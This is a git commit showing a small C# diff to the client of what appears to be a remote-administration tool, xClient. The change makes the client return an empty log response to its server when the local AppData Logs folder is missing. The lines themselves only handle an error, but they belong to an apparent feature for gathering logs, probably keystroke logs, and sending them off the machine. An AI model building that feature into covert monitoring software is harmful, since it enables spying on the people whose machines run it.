Improved behaviour when log directory doesn't exist

This commit is contained in:
MaxXor 2015-05-04 18:28:14 +02:00
parent 89389d7325
commit 6b624ea9ec
1 changed files with 6 additions and 0 deletions

View File

@ -384,6 +384,12 @@ namespace xClient.Core.Commands
int index = 1;
string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\";
if (!Directory.Exists(path))
{
new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client);
return;
}
FileInfo[] iFiles = new DirectoryInfo(path).GetFiles();
if (iFiles.Length == 0)